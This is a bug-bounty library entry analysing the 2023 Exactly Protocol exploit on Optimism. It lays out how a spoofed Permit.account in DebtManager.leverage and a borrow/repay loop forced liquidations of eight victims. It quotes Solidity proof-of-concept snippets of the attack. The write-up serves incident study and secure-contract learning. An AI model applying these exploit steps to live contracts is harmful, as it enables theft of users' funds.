# Exactly Protocol: leverage() spoofing enables forced liquidations

Exactly Protocol's DebtManager.leverage lacked caller validation, letting attacker spoof victims and manipulate exaUSDC convertToAssets to force liquidations, stealing ~$7M.

- Payout: Real-world hack
- Severity: critical
- Program: ExactlyProtocol
- Analysis by: DeFiHackLabs
- Disclosed: 2023-08-18
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-08/Exactly_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230818-exactly
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:access-control vuln:business-logic vuln:liquidation vuln:oracle-manipulation

**Target:** DebtManager periphery contract on Optimism
**Root cause:** DebtManager.leverage() trusted a caller-supplied Permit.account as _msgSender without verifying the caller, and Market.convertToAssets ratio could be manipulated via borrow/repay to push victims below liquidation threshold.
**Steps:**
1. Deploy FakeMarket and clone 16 minimal-proxy instances, each init'd with real Auditor, DebtManager, exaUSDC, Quoter, USDC price feed
2. For each of 8 victims call `DebtManager.leverage(address(fakeMarketList[i]), 0, 0, 0, Permit({account: victim, deadline:0, v:0, r:0, s:0}))` to set _msgSender to victim and trigger fakeMarket.deposit()
3. FakeMarket.deposit swaps victim's USDC collateral into a fake token, leaving collateral near loan value
4. Deposit 90% of attacker USDC into exaUSDC to get shares
5. Loop 6 maturities calling `exaUSDC.borrowAtMaturity(maturity, depositAmount/2, max, this, this)` then `repayAtMaturity(...)` to shrink backupEarnings and manipulate convertToAssets downward
6. Redeem shares to withdraw, then liquidate victims whose collateral now values below debt
**How found:** Researcher (BlockSec) noticed DebtManager.leverage set _msgSender from an unauthenticated Permit.account field, and that Market.convertToAssets depended on manipulable backupEarnings via borrow/repay.
**Exploitation:** Attacker used DebtManager.leverage with a forged Permit.account to impersonate victims, swapped their collateral to a worthless fake token via a malicious market, then manipulated exaUSDC's convertToAssets ratio through repeated borrow/repay cycles to push victims under the liquidation threshold and liquidated them for profit (~$7M).
**Escalation:** Chained caller-spoofing in DebtManager with share-price manipulation in Market to convert a validation gap into mass forced liquidations across 8 victims.
**Insight:** Periphery contracts that accept a caller identity from calldata (Permit.account) without msg.sender checks let attackers impersonate any user into state-changing flows; combine with share-price/convertToAssets manipulation to force liquidations.

## Proof of concept (copied exactly from the original report)

**leverage() call with spoofed victim permit**

```
DebtManager.leverage(
                address(fakeMarketList[i]),
                0,
                0,
                0,
                IDebtManager.Permit({account: address(victimList[i]), deadline: 0, v: 0, r: bytes32(0), s: bytes32(0)})
            );
```

**Fake market clone deployment and init**

```
fakeMarket = new FakeMarket();
        for (uint256 i; i < 16; ++i) {
            address miniProxy = Clone(address(fakeMarket)); // create fake market
            fakeMarketList.push(FakeMarket(miniProxy));
            FakeMarket(miniProxy).init(
                address(UNIV3NFTManager),
                address(Auditor),
                address(DebtManager),
                address(exaUSDC),
                address(Quoter),
                address(USDC),
                address(USDCPirceFeed),
                1_000_000
            );
        }
```

**convertToAssets manipulation via borrow/repay loop**

```
uint256 depositAmount = USDC.balanceOf(address(this)) * 9 / 10;
        uint256 share = exaUSDC.deposit(depositAmount, address(this)); // deposit USDC to exaUSDC contract

        for (uint256 i; i < 6; ++i) {
            (uint256 sumCollateral, uint256 sumDebtPlusEffects) =
                Auditor.accountLiquidity(address(victimList[0]), address(0), 0);
            // In the attack transaction, only the top victim is checked to see if they meet the liquidation conditions.
            // By removing this check, more users can be made eligible for liquidation.
            // if (sumCollateral >= sumDebtPlusEffects) {
            // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L917-L942
            // the backupEarnings decrease
            // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L930-L932
            exaUSDC.borrowAtMaturity(
                maturityList[i], depositAmount / 2, type(uint256).max, address(this), address(this)
            );
            exaUSDC.repayAtMaturity(maturityList[i], type(uint256).max, type(uint256).max, address(this));
            // } else {
            //     break;
            // }
        }

        exaUSDC.redeem(share, address(this), address(this));
```

